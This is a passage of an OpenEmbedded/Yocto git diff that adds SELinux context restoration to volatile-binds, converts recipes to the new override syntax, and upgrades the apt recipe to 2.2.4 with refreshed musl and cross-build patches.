+ mountcontext=",rootcontext=$(matchpathcon -n $mountpoint)"
+ fi
+ fi
+ if ! mount -t overlay overlay -olowerdir="$mountpoint",upperdir="$spec",workdir="$overlay_workdir""$mountcontext" "$mountpoint" > /dev/null 2>&1; then
if [ "$specdir_existed" != "yes" ]; then
cp -aPR "$mountpoint"/. "$spec/"
fi
mount -o "bind$options" "$spec" "$mountpoint"
+ # restore the selinux context.
+ if command -v selinuxenabled > /dev/null 2>&1; then
+ if selinuxenabled; then
+ restorecon -R "$mountpoint"
+ fi
+ fi
fi
elif [ -f "$mountpoint" ]; then
if [ ! -f "$spec" ]; then
@@ -53,4 +71,10 @@ elif [ -f "$mountpoint" ]; then
fi
mount -o "bind$options" "$spec" "$mountpoint"
+ # restore the selinux context.
+ if command -v selinuxenabled > /dev/null 2>&1; then
+ if selinuxenabled; then
+ restorecon -R "$mountpoint"
+ fi
+ fi
fi
diff --git a/meta/recipes-core/volatile-binds/volatile-binds.bb b/meta/recipes-core/volatile-binds/volatile-binds.bb
index 3c8b18291e..d5c5538cd7 100644
--- a/meta/recipes-core/volatile-binds/volatile-binds.bb
+++ b/meta/recipes-core/volatile-binds/volatile-binds.bb
@@ -33,9 +33,9 @@ def volatile_systemd_services(d):
services.append("%s.service" % what[1:].replace("/", "-"))
return " ".join(services)
-SYSTEMD_SERVICE_${PN} = "${@volatile_systemd_services(d)}"
+SYSTEMD_SERVICE:${PN} = "${@volatile_systemd_services(d)}"
-FILES_${PN} += "${systemd_unitdir}/system/*.service ${servicedir}"
+FILES:${PN} += "${systemd_system_unitdir}/*.service ${servicedir}"
do_compile () {
while read spec mountpoint; do
@@ -67,9 +67,9 @@ do_install () {
install -d ${D}${servicedir}
install -m 0755 mount-copybind ${D}${base_sbindir}/
- install -d ${D}${systemd_unitdir}/system
- for service in ${SYSTEMD_SERVICE_${PN}}; do
- install -m 0644 $service ${D}${systemd_unitdir}/system/
+ install -d ${D}${systemd_system_unitdir}
+ for service in ${SYSTEMD_SERVICE:${PN}}; do
+ install -m 0644 $service ${D}${systemd_system_unitdir}/
done
# Suppress attempts to process some tmpfiles that are not temporary.
diff --git a/meta/recipes-core/zlib/zlib_1.2.11.bb b/meta/recipes-core/zlib/zlib_1.2.11.bb
index ef9431ae47..1c06aa0ab5 100644
--- a/meta/recipes-core/zlib/zlib_1.2.11.bb
+++ b/meta/recipes-core/zlib/zlib_1.2.11.bb
@@ -17,7 +17,7 @@ SRC_URI[sha256sum] = "4ff941449631ace0d4d203e3483be9dbc9da454084111f97ea0a2114e1
CFLAGS += "-D_REENTRANT"
-RDEPENDS_${PN}-ptest += "make"
+RDEPENDS:${PN}-ptest += "make"
inherit ptest
@@ -39,7 +39,7 @@ do_install_ptest() {
# Move zlib shared libraries for target builds to $base_libdir so the library
# can be used in early boot before $prefix is mounted.
-do_install_append_class-target() {
+do_install:append:class-target() {
if [ ${base_libdir} != ${libdir} ]
then
mkdir -p ${D}/${base_libdir}
diff --git a/meta/recipes-devtools/apt/apt/0001-Disable-documentation-directory-altogether.patch b/meta/recipes-devtools/apt/apt/0001-Disable-documentation-directory-altogether.patch
index cc422b74dc..8b28ede8a8 100644
--- a/meta/recipes-devtools/apt/apt/0001-Disable-documentation-directory-altogether.patch
+++ b/meta/recipes-devtools/apt/apt/0001-Disable-documentation-directory-altogether.patch
@@ -1,4 +1,4 @@
-From cd164b353ba7958d51b2f33f4079fb9787c983e2 Mon Sep 17 00:00:00 2001
+From f629d1c3fcfb560ed24efc3e73d4e4999b1eab33 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 10 May 2019 14:16:47 +0200
Subject: [PATCH] Disable documentation directory altogether
@@ -13,11 +13,11 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/CMakeLists.txt b/CMakeLists.txt
-index 83334ba..2cd4f8e 100644
+index 9745c13..7cfc9ee 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
-@@ -232,7 +232,7 @@ add_subdirectory(apt-private)
- add_subdirectory(apt-inst)
+@@ -239,7 +239,7 @@ add_subdirectory(apt-pkg)
+ add_subdirectory(apt-private)
add_subdirectory(cmdline)
add_subdirectory(completions)
-add_subdirectory(doc)
diff --git a/meta/recipes-devtools/apt/apt/0001-Do-not-configure-packages-on-installation.patch b/meta/recipes-devtools/apt/apt/0001-Do-not-configure-packages-on-installation.patch
deleted file mode 100644
index 81b328a2ee..0000000000
--- a/meta/recipes-devtools/apt/apt/0001-Do-not-configure-packages-on-installation.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From 96d23fc57d1ff9c851d563d6d6a6c4752dc4f1b6 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 21 May 2020 20:28:12 +0000
-Subject: [PATCH] Do not configure packages on installation
-
-This is done separately in do_rootfs().
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- apt-pkg/packagemanager.cc | 5 ++++-
- 1 file changed, 4 insertions(+), 1 deletion(-)
-
-diff --git a/apt-pkg/packagemanager.cc b/apt-pkg/packagemanager.cc
-index 156f7ad..0f6a87c 100644
---- a/apt-pkg/packagemanager.cc
-+++ b/apt-pkg/packagemanager.cc
-@@ -1013,10 +1013,12 @@ bool pkgPackageManager::SmartUnPack(PkgIterator Pkg, bool const Immediate, int c
- return false;
-
- if (Immediate == true) {
-+#if 0
- // Perform immediate configuration of the package.
- if (SmartConfigure(Pkg, Depth + 1) == false)
- _error->Error(_("Could not perform immediate configuration on '%s'. "
- "Please see man 5 apt.conf under APT::Immediate-Configure for details. (%d)"),Pkg.FullName().c_str(),2);
-+#endif
- }
-
- return true;
-@@ -1111,6 +1113,7 @@ pkgPackageManager::OrderResult pkgPackageManager::OrderInstall()
- }
- }
-
-+#if 0
- // Final run through the configure phase
- if (ConfigureAll() == false)
- return Failed;
-@@ -1125,7 +1128,7 @@ pkgPackageManager::OrderResult pkgPackageManager::OrderInstall()
- return Failed;
- }
- }
--
-+#endif
- return Completed;
- }
- // PM::DoInstallPostFork - compat /*{{{*/
diff --git a/meta/recipes-devtools/apt/apt/0001-Do-not-init-tables-from-dpkg-configuration.patch b/meta/recipes-devtools/apt/apt/0001-Do-not-init-tables-from-dpkg-configuration.patch
index 1417153e81..72713c3b1a 100644
--- a/meta/recipes-devtools/apt/apt/0001-Do-not-init-tables-from-dpkg-configuration.patch
+++ b/meta/recipes-devtools/apt/apt/0001-Do-not-init-tables-from-dpkg-configuration.patch
@@ -1,4 +1,4 @@
-From bf45c314867e5fb12141803fba06f3e45679d628 Mon Sep 17 00:00:00 2001
+From c7a79e753e50f1a5f248ba5812c61616f2f524f0 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 10 May 2019 16:47:38 +0200
Subject: [PATCH] Do not init tables from dpkg configuration
@@ -13,7 +13,7 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/apt-pkg/init.cc b/apt-pkg/init.cc
-index a619368..6e5a6cf 100644
+index b9d9b15..1725c59 100644
--- a/apt-pkg/init.cc
+++ b/apt-pkg/init.cc
@@ -281,8 +281,8 @@ bool pkgInitSystem(Configuration &Cnf,pkgSystem *&Sys)
diff --git a/meta/recipes-devtools/apt/apt/0001-Fix-musl-build.patch b/meta/recipes-devtools/apt/apt/0001-Fix-musl-build.patch
index a6e8ef1e51..0cefbedd6d 100644
--- a/meta/recipes-devtools/apt/apt/0001-Fix-musl-build.patch
+++ b/meta/recipes-devtools/apt/apt/0001-Fix-musl-build.patch
@@ -1,22 +1,18 @@
-From 081c6be2f2f1cd77f399ea414f8d89c107826624 Mon Sep 17 00:00:00 2001
+From 6b8547161b902b01b639d05a4cdf849d7694556f Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 22 May 2020 15:29:23 +0000
-Subject: [PATCH] Fix musl build
+Subject: [PATCH] apt-pkg/contrib/srvrec.h: Explicitly include sys/types.h
-methods/connect.cc: Musl doesn't support AI_IDN flag in netdb.h
-header so define it manually.
-apt-pkg/contrib/srvrec.h: Add explicity include of sys/types.h
-to avoid errors in types u_int_SIZE.
+This avoids type errors with musl C library.
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://salsa.debian.org/apt-team/apt/-/merge_requests/200]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
apt-pkg/contrib/srvrec.h | 1 +
- methods/connect.cc | 5 +++++
- 2 files changed, 6 insertions(+)
+ 1 file changed, 1 insertion(+)
diff --git a/apt-pkg/contrib/srvrec.h b/apt-pkg/contrib/srvrec.h
-index e22b7a1..b1115f5 100644
+index e5d0f43..2010184 100644
--- a/apt-pkg/contrib/srvrec.h
+++ b/apt-pkg/contrib/srvrec.h
@@ -9,6 +9,7 @@
@@ -27,19 +23,6 @@ index e22b7a1..b1115f5 100644
#include <string>
#include <vector>
#include <arpa/nameser.h>
-diff --git a/methods/connect.cc b/methods/connect.cc
-index 1d6f891..122df35 100644
---- a/methods/connect.cc
-+++ b/methods/connect.cc
-@@ -42,6 +42,11 @@
- #include "connect.h"
- #include "rfc2553emu.h"
- #include <apti18n.h>
-+
-+#ifndef AI_IDN
-+#define AI_IDN 0x0040
-+#endif
-+
- /*}}}*/
-
- static std::string LastHost;
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/apt/apt/0001-Hide-fstatat64-and-prlimit64-defines-on-musl.patch b/meta/recipes-devtools/apt/apt/0001-Hide-fstatat64-and-prlimit64-defines-on-musl.patch
new file mode 100644
index 0000000000..f1816836b5
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt/0001-Hide-fstatat64-and-prlimit64-defines-on-musl.patch
@@ -0,0 +1,48 @@
+From e849b161ce1d87ab369b921438abcf5b3a03e186 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 25 Apr 2021 08:57:03 -0700
+Subject: [PATCH] Hide fstatat64 and prlimit64 defines on musl
+
+musl defines fstatat64 and prlimit64 as macros which confuses the
+seccomp sysall rewiring since there are syscalls with same names
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ methods/aptmethod.h | 12 ++++++++++--
+ 1 file changed, 10 insertions(+), 2 deletions(-)
+
+diff --git a/methods/aptmethod.h b/methods/aptmethod.h
+index bd50e80..3085aed 100644
+--- a/methods/aptmethod.h
++++ b/methods/aptmethod.h
+@@ -121,6 +121,12 @@ protected:
+ if (ctx == NULL)
+ return _error->FatalE("HttpMethod::Configuration", "Cannot init seccomp");
+
++#ifndef __GLIBC__
++#pragma push_macro("fstatat64")
++#pragma push_macro("prlimit64")
++#undef fstatat64
++#undef prlimit64
++#endif
+ #define ALLOW(what) \
+ if ((rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(what), 0))) \
+ return _error->FatalE("HttpMethod::Configuration", "Cannot allow %s: %s", #what, strerror(-rc));
+@@ -320,9 +326,11 @@ protected:
+ if ((rc = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, seccomp_syscall_resolve_name(custom.c_str()), 0)))
+ return _error->FatalE("aptMethod::Configuration", "Cannot allow %s: %s", custom.c_str(), strerror(-rc));
+ }
+-
+ #undef ALLOW
+-
++#ifndef __GLIBC__
++#pragma pop_macro("fstatat64")
++#pragma pop_macro("prlimit64")
++#endif
+ rc = seccomp_load(ctx);
+ if (rc == -EINVAL)
+ {
+--
+2.31.1
+
diff --git a/meta/recipes-devtools/apt/apt/0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch b/meta/recipes-devtools/apt/apt/0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch
index 37f969690c..1517b47858 100644
--- a/meta/recipes-devtools/apt/apt/0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch
+++ b/meta/recipes-devtools/apt/apt/0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch
@@ -1,4 +1,4 @@
-From 34700bebc52659e7e3eecd252f65bd36e669eee8 Mon Sep 17 00:00:00 2001
+From 393ac20efc66bfc000a2457e093e369b934c5a50 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 21 May 2020 20:13:25 +0000
Subject: [PATCH] Revert "always run 'dpkg --configure -a' at the end of our
@@ -20,10 +20,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 2 insertions(+), 7 deletions(-)
diff --git a/apt-pkg/deb/dpkgpm.cc b/apt-pkg/deb/dpkgpm.cc
-index ffa880d..5875e86 100644
+index 46a6dee..8617a9e 100644
--- a/apt-pkg/deb/dpkgpm.cc
+++ b/apt-pkg/deb/dpkgpm.cc
-@@ -1215,12 +1215,6 @@ void pkgDPkgPM::BuildPackagesProgressMap()
+@@ -1211,12 +1211,6 @@ void pkgDPkgPM::BuildPackagesProgressMap()
}
}
}
@@ -35,8 +35,8 @@ index ffa880d..5875e86 100644
- ++PackagesTotal;
}
/*}}}*/
- bool pkgDPkgPM::Go(int StatusFd) /*{{{*/
-@@ -1716,7 +1710,8 @@ bool pkgDPkgPM::Go(APT::Progress::PackageManager *progress)
+ void pkgDPkgPM::StartPtyMagic() /*{{{*/
+@@ -1710,7 +1704,8 @@ bool pkgDPkgPM::Go(APT::Progress::PackageManager *progress)
// support subpressing of triggers processing for special
// cases like d-i that runs the triggers handling manually
diff --git a/meta/recipes-devtools/apt/apt/0001-aptwebserver.cc-Include-array.patch b/meta/recipes-devtools/apt/apt/0001-aptwebserver.cc-Include-array.patch
new file mode 100644
index 0000000000..cfee50c7a0
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt/0001-aptwebserver.cc-Include-array.patch
@@ -0,0 +1,32 @@
+From f999aeb5ceb77b81c36e6a55300a521aaa2da882 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 26 May 2021 22:12:46 -0700
+Subject: [PATCH] aptwebserver.cc: Include <array>
+
+This helps getting std::array definition
+
+Fixes
+test/interactive-helper/aptwebserver.cc:36:55: error: constexpr variable cannot have non-literal type 'const std::array<std::array<const char *, 2>, 6>'
+ constexpr std::array<std::array<char const *,2>,6> htmlencode = {{
+
+Upstream-Status: Submitted [https://github.com/Debian/apt/pull/133]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ test/interactive-helper/aptwebserver.cc | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/test/interactive-helper/aptwebserver.cc b/test/interactive-helper/aptwebserver.cc
+index 58ba54f84..0e030c7e9 100644
+--- a/test/interactive-helper/aptwebserver.cc
++++ b/test/interactive-helper/aptwebserver.cc
+@@ -22,6 +22,7 @@
+ #include <unistd.h>
+
+ #include <algorithm>
++#include <array>
+ #include <fstream>
+ #include <iostream>
+ #include <list>
+--
+2.31.1
+
diff --git a/meta/recipes-devtools/apt/apt/0001-cmake-Do-not-build-po-files.patch b/meta/recipes-devtools/apt/apt/0001-cmake-Do-not-build-po-files.patch
new file mode 100644
index 0000000000..2837b7f1b3
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt/0001-cmake-Do-not-build-po-files.patch
@@ -0,0 +1,37 @@
+From 33347f9f8301633b01af4e208b7be5fdfcb0df0c Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 20 Mar 2021 14:45:18 -0700
+Subject: [PATCH] cmake: Do not build po files
+
+Fixes
+| CMake Error at CMakeLists.txt:252 (add_dependencies):
+| The dependency target "update-po4a" of target "update-po" does not exist.
+|
+
+Upstream-Status: Inappropriate [Cross-compile specific]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ CMakeLists.txt | 7 -------
+ 1 file changed, 7 deletions(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index 3c8ec3f..821a24f 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -245,13 +245,6 @@ add_subdirectory(ftparchive)
+ add_subdirectory(methods)
+ add_subdirectory(test)
+
+-if (USE_NLS)
+-add_subdirectory(po)
+-
+-# Link update-po4a into the update-po target
+-add_dependencies(update-po update-po4a)
+-endif()
+-
+ # Create our directories.
+ install_empty_directories(
+ ${CONF_DIR}/apt.conf.d
+--
+2.31.0
+
diff --git a/meta/recipes-devtools/apt/apt/0001-srvrec-Keep-support-for-older-resolver.patch b/meta/recipes-devtools/apt/apt/0001-srvrec-Keep-support-for-older-resolver.patch
new file mode 100644
index 0000000000..94d67a87ac
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt/0001-srvrec-Keep-support-for-older-resolver.patch
@@ -0,0 +1,44 @@
+From f98c12b9f04ef3a9daec822c210044095b41a0ac Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 20 Mar 2021 12:33:34 -0700
+Subject: [PATCH] srvrec: Keep support for older resolver
+
+Some C libraries e.g. musl do not implement the new res_n* APIs
+therefore keep the old implementation as fallback and check __RES
+version macro to determine the API level
+
+Upstream-Status: Submitted [https://github.com/Debian/apt/pull/129]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Cc: Julian Andres Klode <julian.klode@canonical.com>
+---
+ apt-pkg/contrib/srvrec.cc | 7 +++++++
+ 1 file changed, 7 insertions(+)
+
+diff --git a/apt-pkg/contrib/srvrec.cc b/apt-pkg/contrib/srvrec.cc
+index 4ca208273..3eb5f1d4c 100644
+--- a/apt-pkg/contrib/srvrec.cc
++++ b/apt-pkg/contrib/srvrec.cc
+@@ -62,6 +62,7 @@ bool GetSrvRecords(std::string name, std::vector<SrvRec> &Result)
+ unsigned char answer[PACKETSZ];
+ int answer_len, compressed_name_len;
+ int answer_count;
++#if __RES >= 19991006
+ struct __res_state res;
+
+ if (res_ninit(&res) != 0)
+@@ -71,6 +72,12 @@ bool GetSrvRecords(std::string name, std::vector<SrvRec> &Result)
+ std::shared_ptr<void> guard(&res, res_nclose);
+
+ answer_len = res_nquery(&res, name.c_str(), C_IN, T_SRV, answer, sizeof(answer));
++#else
++ if (res_init() != 0)
++ return _error->Errno("res_init", "Failed to init resolver");
++
++ answer_len = res_query(name.c_str(), C_IN, T_SRV, answer, sizeof(answer));
++#endif //__RES >= 19991006
+ if (answer_len == -1)
+ return false;
+ if (answer_len < (int)sizeof(HEADER))
+--
+2.31.0
+
diff --git a/meta/recipes-devtools/apt/apt/0001-test-libapt-do-not-use-gtest-from-the-host.patch b/meta/recipes-devtools/apt/apt/0001-test-libapt-do-not-use-gtest-from-the-host.patch
deleted file mode 100644
index 503b5a5c0b..0000000000
--- a/meta/recipes-devtools/apt/apt/0001-test-libapt-do-not-use-gtest-from-the-host.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From 28e389a0d1275e7693df84a7d4a58b28364be1a9 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 22 Oct 2020 17:33:38 +0200
-Subject: [PATCH] test/libapt: do not use gtest from the host
-
-This really does not work when cross-compiling.
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- test/libapt/CMakeLists.txt | 16 ----------------
- 1 file changed, 16 deletions(-)
-
-diff --git a/test/libapt/CMakeLists.txt b/test/libapt/CMakeLists.txt
-index 035ff07..280b83c 100644
---- a/test/libapt/CMakeLists.txt
-+++ b/test/libapt/CMakeLists.txt
-@@ -6,22 +6,6 @@ find_path(GTEST_ROOT src/gtest.cc
- find_package(GTest)
- set(GTEST_DEPENDENCIES)
-
--if(NOT GTEST_FOUND AND EXISTS ${GTEST_ROOT})
-- include(ExternalProject)
-- ExternalProject_Add(gtest PREFIX ./gtest
-- SOURCE_DIR ${GTEST_ROOT}
-- INSTALL_COMMAND true)
--
-- link_directories(${CMAKE_CURRENT_BINARY_DIR}/gtest/src/gtest-build)
--
-- set(GTEST_LIBRARIES "-lgtest")
-- set(GTEST_DEPENDENCIES "gtest")
-- set(GTEST_FOUND TRUE)
-- find_path(GTEST_INCLUDE_DIRS NAMES gtest/gtest.h PATHS ${GTEST_ROOT}/include)
--
-- message(STATUS "Found GTest at ${GTEST_ROOT}, headers at ${GTEST_INCLUDE_DIRS}")
--endif()
--
- if(GTEST_FOUND)
- # gtest produces some warnings with the set of warnings we activate,
- # so disable the offending warnings while compiling tests for now
diff --git a/meta/recipes-devtools/apt/apt_1.8.2.1.bb b/meta/recipes-devtools/apt/apt_1.8.2.1.bb
deleted file mode 100644
index de0e150a2e..0000000000
--- a/meta/recipes-devtools/apt/apt_1.8.2.1.bb
+++ /dev/null
@@ -1,107 +0,0 @@
-SUMMARY = "Advanced front-end for dpkg"
-LICENSE = "GPLv2.0+"
-SECTION = "base"
-
-# Triehash script taken from https://github.com/julian-klode/triehash
-SRC_URI = "${DEBIAN_MIRROR}/main/a/apt/${BPN}_${PV}.tar.xz \
- file://triehash \
- file://0001-Disable-documentation-directory-altogether.patch \
- file://0001-Fix-musl-build.patch \
- file://0001-CMakeLists.txt-avoid-changing-install-paths-based-on.patch \
- file://0001-test-libapt-do-not-use-gtest-from-the-host.patch \
- "
-
-SRC_URI_append_class-native = " \
- file://0001-Do-not-init-tables-from-dpkg-configuration.patch \
- file://0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch \
- file://0001-Do-not-configure-packages-on-installation.patch \
- "
-
-SRC_URI[sha256sum] = "6d447f2e9437ec24e78350b63bb0592bee1f050811d51990b0c783183b0983f8"
-LIC_FILES_CHKSUM = "file://COPYING.GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-# the package is taken from snapshots.debian.org; that source is static and goes stale
-# so we check the latest upstream from a directory that does get updated
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/a/apt/"
-
-inherit cmake perlnative bash-completion upstream-version-is-even
-
-BBCLASSEXTEND = "native"
-
-DEPENDS += "virtual/libiconv virtual/libintl db gnutls lz4 zlib bzip2 xz"
-
-EXTRA_OECMAKE_append = " -DCURRENT_VENDOR=debian -DWITH_DOC=False -DUSE_NLS=False -DDPKG_DATADIR=${datadir}/dpkg -DTRIEHASH_EXECUTABLE=${WORKDIR}/triehash"
-
-do_configure_prepend () {
- echo "set( CMAKE_FIND_ROOT_PATH_MODE_INCLUDE BOTH )" >> ${WORKDIR}/toolchain.cmake
-
-}
-
-# Unfortunately apt hardcodes this all over the place
-FILES_${PN} += "${prefix}/lib/dpkg ${prefix}/lib/apt"
-RDEPENDS_${PN} += "bash perl dpkg"
-
-do_install_append_class-native() {
- cat > ${D}${sysconfdir}/apt/apt.conf.sample << EOF
-Dir "${STAGING_DIR_NATIVE}/"
-{
- State "var/lib/apt/"
- {
- Lists "#APTCONF#/lists/";
- status "#ROOTFS#/var/lib/dpkg/status";
- };
- Cache "var/cache/apt/"
- {
- Archives "archives/";
- pkgcache "";
- srcpkgcache "";
- };
- Bin "${STAGING_BINDIR_NATIVE}/"
- {
- methods "${STAGING_LIBDIR}/apt/methods/";
- gzip "/bin/gzip";
- dpkg "dpkg";
- dpkg-source "dpkg-source";
- dpkg-buildpackage "dpkg-buildpackage";
- apt-get "apt-get";
- apt-cache "apt-cache";
- };
- Etc "#APTCONF#"
- {
- Preferences "preferences";
- };
- Log "var/log/apt";
-};
-
-APT
-{
- Install-Recommends "true";
- Immediate-Configure "false";
- Architecture "i586";
- Get
- {
- Assume-Yes "true";
- };
-};
-
-Acquire
-{
- AllowInsecureRepositories "true";
-};
-
-DPkg::Options {"--root=#ROOTFS#";"--admindir=#ROOTFS#/var/lib/dpkg";"--force-all";"--no-debsig"};
-DPkg::Path "";
-EOF
-}
-
-do_install_append_class-target() {
- #Write the correct apt-architecture to apt.conf
- APT_CONF=${D}/etc/apt/apt.conf
- echo 'APT::Architecture "${DPKG_ARCH}";' > ${APT_CONF}
-}
-
-# Avoid non-reproducible -src package
-do_install_append () {
- sed -i -e "s,${B},,g" \
- ${B}/apt-pkg/tagfile-keys.cc
-}
diff --git a/meta/recipes-devtools/apt/apt_2.2.4.bb b/meta/recipes-devtools/apt/apt_2.2.4.bb
new file mode 100644
index 0000000000..4e710e11a8
--- /dev/null
+++ b/meta/recipes-devtools/apt/apt_2.2.4.bb
@@ -0,0 +1,137 @@
+SUMMARY = "Advanced front-end for dpkg"
+DESCRIPTION = "APT is the Advanced Package Tool, an advanced interface to the Debian packaging system which provides the apt-get program."
+HOMEPAGE = "https://packages.debian.org/jessie/apt"
+LICENSE = "GPLv2.0+"
+SECTION = "base"
+
+# Triehash script taken from https://github.com/julian-klode/triehash
+SRC_URI = "${DEBIAN_MIRROR}/main/a/apt/${BPN}_${PV}.tar.xz \
+ file://triehash \
+ file://0001-Disable-documentation-directory-altogether.patch \
+ file://0001-Fix-musl-build.patch \
+ file://0001-CMakeLists.txt-avoid-changing-install-paths-based-on.patch \
+ file://0001-srvrec-Keep-support-for-older-resolver.patch \
+ file://0001-cmake-Do-not-build-po-files.patch \
+ file://0001-Hide-fstatat64-and-prlimit64-defines-on-musl.patch \
+ file://0001-aptwebserver.cc-Include-array.patch \
+ "
+
+SRC_URI:append:class-native = " \
+ file://0001-Do-not-init-tables-from-dpkg-configuration.patch \
+ file://0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch \
+ "
+
+SRC_URI:append:class-nativesdk = " \
+ file://0001-Do-not-init-tables-from-dpkg-configuration.patch \
+ file://0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch \
+ "
+
+SRC_URI[sha256sum] = "6eecd04a4979bd2040b22a14571c15d342c4e1802b2023acb5aa19649b1f64ea"
+LIC_FILES_CHKSUM = "file://COPYING.GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+# the package is taken from snapshots.debian.org; that source is static and goes stale
+# so we check the latest upstream from a directory that does get updated
+UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/a/apt/"
+
+inherit cmake perlnative bash-completion upstream-version-is-even useradd
+
+# User is added to allow apt to drop privs, will runtime warn without
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "--system --home /nonexistent --no-create-home _apt"
+
+BBCLASSEXTEND = "native nativesdk"
+
+DEPENDS += "db gnutls lz4 zlib bzip2 xz libgcrypt xxhash"
+
+EXTRA_OECMAKE:append = " -DCURRENT_VENDOR=debian -DWITH_DOC=False \
+ -DDPKG_DATADIR=${datadir}/dpkg \
+ -DTRIEHASH_EXECUTABLE=${WORKDIR}/triehash \
+ -DCMAKE_DISABLE_FIND_PACKAGE_ZSTD=True \
+ -DCMAKE_DISABLE_FIND_PACKAGE_SECCOMP=True \
+ -DWITH_TESTS=False \
+"
+
+do_configure:prepend() {
+ echo "set( CMAKE_FIND_ROOT_PATH_MODE_INCLUDE BOTH )" >> ${WORKDIR}/toolchain.cmake
+}
+
+# Unfortunately apt hardcodes this all over the place
+FILES:${PN} += "${prefix}/lib/dpkg ${prefix}/lib/apt"
+RDEPENDS:${PN} += "bash perl dpkg"
+
+customize_apt_conf_sample() {
+ cat > ${D}${sysconfdir}/apt/apt.conf.sample << EOF
+Dir "${STAGING_DIR_NATIVE}/"
+{
+ State "var/lib/apt/"
+ {
+ Lists "#APTCONF#/lists/";
+ status "#ROOTFS#/var/lib/dpkg/status";
+ };
+ Cache "var/cache/apt/"
+ {
+ Archives "archives/";
+ pkgcache "";
+ srcpkgcache "";
+ };
+ Bin "${STAGING_BINDIR_NATIVE}/"
+ {
+ methods "${STAGING_LIBDIR}/apt/methods/";
+ gzip "/bin/gzip";
+ dpkg "dpkg";
+ dpkg-source "dpkg-source";
+ dpkg-buildpackage "dpkg-buildpackage";
+ apt-get "apt-get";
+ apt-cache "apt-cache";
+ };
+ Etc "#APTCONF#"
+ {
+ Preferences "preferences";
+ };
+ Log "var/log/apt";
+};
+
+APT
+{
+ Install-Recommends "true";
+ Immediate-Configure "false";
+ Architecture "i586";
+ Get
+ {
+ Assume-Yes "true";
+ };
+};
+
+Acquire
+{
+ AllowInsecureRepositories "true";
+};
+
+DPkg::Options {"--root=#ROOTFS#";"--admindir=#ROOTFS#/var/lib/dpkg";"--force-all";"--no-debsig"};
+DPkg::Path "";
+EOF
+}
+
+do_install:append:class-native() {
+ customize_apt_conf_sample
+}
+
+do_install:append:class-nativesdk() {
+ customize_apt_conf_sample
+}
+
+do_install:append:class-target() {
+ # Write the correct apt-architecture to apt.conf
+ APT_CONF=${D}${sysconfdir}/apt/apt.conf
+ echo 'APT::Architecture "${DPKG_ARCH}";' > ${APT_CONF}
+
+ # Remove /var/log/apt. /var/log is normally a link to /var/volatile/log
+ # and /var/volatile is a tmpfs mount. So anything created in /var/log
+ # will not be available when the tmpfs is mounted.
+ rm -rf ${D}${localstatedir}/log
+}
+
+do_install:append() {
+ # Avoid non-reproducible -src package
+ sed -i -e "s,${B},,g" ${B}/apt-pkg/tagfile-keys.cc
+}
diff --git a/meta/recipes-devtools/autoconf-archive/autoconf-archive_2019.01.06.bb b/meta/recipes-devtools/autoconf-archive/autoconf-archive_2019.01.06.bb
deleted file mode 100644
index 13593d7bb3..0000000000
--- a/meta/recipes-devtools/autoconf-archive/autoconf-archive_2019.01.06.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "a collection of freely re-usable Autoconf macros"
-HOMEPAGE = "http://www.gnu.org/software/autoconf-archive/"
-SECTION = "devel"
-LICENSE = "GPL-3.0-with-autoconf-exception"
